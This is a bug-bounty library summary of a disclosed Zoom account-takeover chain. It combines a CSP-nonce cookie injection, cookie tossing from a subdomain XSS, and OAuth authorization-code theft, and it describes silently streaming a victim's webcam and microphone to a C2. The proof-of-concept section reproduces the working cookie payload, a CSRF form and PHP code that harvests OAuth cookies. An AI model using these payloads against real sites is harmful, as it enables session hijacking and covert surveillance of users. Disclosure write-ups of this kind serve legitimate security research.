# Zoom Session Takeover - Cookie Tossing Payloads, OAuth Dirty Dancing, Browser Permissions Hijacking, and WAF abuse

Unsanitized CSP nonce cookie reflected into script tags on zoom.us, chained via cookie tossing from a subdomain XSS to steal OAuth codes and hijack sessions.

- Payout: $15,000
- Severity: high
- Program: Zoom
- Found by: Harel, Sudhanshu Rajbhar, Bruno Halltari
- Disclosed: 2024-06-07
- Write-up quality: 9/10
- Original: https://nokline.github.io/bugbounty/2024/06/07/Zoom-ATO.html
- Library page: https://bugbountylibrary.com/r/blog%3Anokline-github-io-bugbounty-2024-06-07-zoom-ato-html
- Tags: area:web domain:web impact:ato impact:data-leak kind:bounty platform:blog sev:high tech:oauth technique:chained technique:source-review vuln:xss

**Target:** zoom.us web app, CSP nonce cookie, OAuth sign-in flow
**Root cause:** The _zm_csp_script_nonce cookie value is reflected unsanitized into the CSP header and script nonce attributes; cookie string parsing allows escaping quotes to break out of the nonce attribute.
**Steps:**
1. Send `Cookie: _zm_csp_script_nonce=test<>` to zoom.us and observe reflection in CSP header and script nonce attributes.
2. Escape the nonce attribute using cookie string parsing: `_zm_csp_script_nonce="test\"' 'nonce-test' >alert(1)// ";` to align CSP nonce with injected script.
3. Find a post-based XSS on any zoom.us subdomain (e.g. redacted.zoom.us) via a POST body parameter.
4. From that subdomain XSS, use `document.cookie` with `domain=.zoom.us; path=/webinar` to toss the malicious nonce cookie to zoom.us, then redirect to https://zoom.us/webinar/register to trigger the cookie XSS.
5. In the zoom.us XSS context, open the OAuth URL via window.open and read `window.opener.document.location` to steal the leaked authorization code from the redirect URL.
6. Replay the leaked code with the original OAuth cookies (zm_OAuth_back_params, _zm_o2state, etc.) to obtain the victim's session.
**How found:** Noticed the _zm_csp_script_nonce cookie reflected in CSP headers and script nonces; observed that a trailing quote triggered a random nonce but wasn't reflected, hypothesizing cookie string parsing, then confirmed by escaping a quote inside a quoted string. Searched for cacheable pages to poison, found none, pivoted to cookie tossing to upgrade a subdomain XSS to the main domain.
**Exploitation:** Attacker sends victim a URL hosting a PHP script that fetches the Google OAuth URL and required cookies server-side, then opens a window submitting a CSRF form to the subdomain XSS which tosses the malicious nonce cookie to .zoom.us and redirects to zoom.us/webinar/register, executing XSS on the main origin. The XSS opens the OAuth flow in a second window; after the flow completes, the leaked authorization code in the URL is read cross-window via window.opener.document.location and exfiltrated. Attacker replays the code with the captured OAuth cookies to mint a session for the victim's account.
**Escalation:** Persistent cookie XSS enables self-healing re-exploitation; on app.zoom.us (clone of zoom.us) the XSS enumerates navigator.permissions for camera/microphone and silently activates getUserMedia to stream webcam/mic to a C2. Also cookie-tosses `<script>` payloads to trigger WAF blocks on all subdomains for DoS.
**Insight:** When a cookie value is reflected into a CSP nonce, test whether the server parses it as a quoted string — escaping a quote inside quotes can bypass the random-nonce regeneration and let you inject a matching nonce. Also, cookie tossing with the domain flag upgrades any subdomain XSS to the registrable domain, and persistent cookie XSS can enumerate navigator.permissions to silently abuse previously granted camera/mic access.

## Proof of concept (copied exactly from the original report)

**Cookie XSS nonce escape payload**

```
Request Cookie: _zm_csp_script_nonce="test\"' 'nonce-test' >alert(1)// "; 

Response CSP: content-security-policy: script-src 'nonce-test"' 'nonce-test' >alert(1)// 

Response HTML: <script nonce="test"' 'nonce-test' >alert(1)//>...</script>
```

**Cookie tossing XSS chain form**

```
<form action="https://redacted.zoom.us/vuln_endpoint" method='POST'>
<input name='vuln_parameter' value="&#x22;
'><script>
document.cookie=`_zm_csp_script_nonce=&#x22;TEST\\&#x22;' 'nonce-TEST' >alert(document.domain)// \&#x22;;path=/webinar;domain=.zoom.us;`; 
location=`https://zoom.us/webinar/register`
</script>"/>
```

**OAuth Dirty Dance PHP exploit**

```
$url = "https://zoom.us/google_OAuth_signin";

$curl = curl_init();
curl_setopt($curl, CURLOPT_URL, $url);
curl_setopt($curl, CURLOPT_HEADER, true);
curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);

$response = curl_exec($curl); //[1]
$header_size = curl_getinfo($curl, CURLINFO_HEADER_SIZE);
$headers = substr($response, 0, $header_size);
$body = substr($response, $header_size);
curl_close($curl);

$headers = explode("\r\n", $headers);


Our first step is to make a request to the https://zoom.us/google_OAuth_signin endpoint and save the response headers in a variable called $headers (all this is done on server side so we can read everything)

Save the Location header value which contains the OAuth URL in $location var

$location = substr($headers[3], 10); //OAuth url is stored here


Save all the required cookies from the Set-Cookie header (it’s messy, we know, but it works 🙂) as they are required later on.

$cookie8 = explode(";",substr($headers[8],12))[0];
$cookie14 = explode(";",substr($headers[14],12))[0];
$cookie15 = explode(";",substr($headers[15],12))[0];
$cookie16 = explode(";",substr($headers[16],12))[0];
$cookie18 = explode(";",substr($headers[17],12))[0];
$cookie19 = explode(";",substr($headers[18],12))[0];
$cookie20 = explode(";",substr($headers[19],12))[0];
$cookie21 = explode(";",substr($headers[20],12))[0];
$cookie22 = explode(";",substr($headers[21],12))[0];
$cookie23 = explode(";",substr($headers[22],12))[0];
$cookie24 = explode(";",substr($headers[23],12))[0];
$cookie27 = explode(";",substr($headers[26],12))[0];
$cookie28 = explode(";",substr($headers[27],12))[0];

$cookie_all = $cookie8.$cookie14.$cookie15.$cookie16.$cookie18.$cookie19.$cookie20.$cookie21.$cookie22.$cookie23.$cookie24.$cookie27.$cookie28;
```

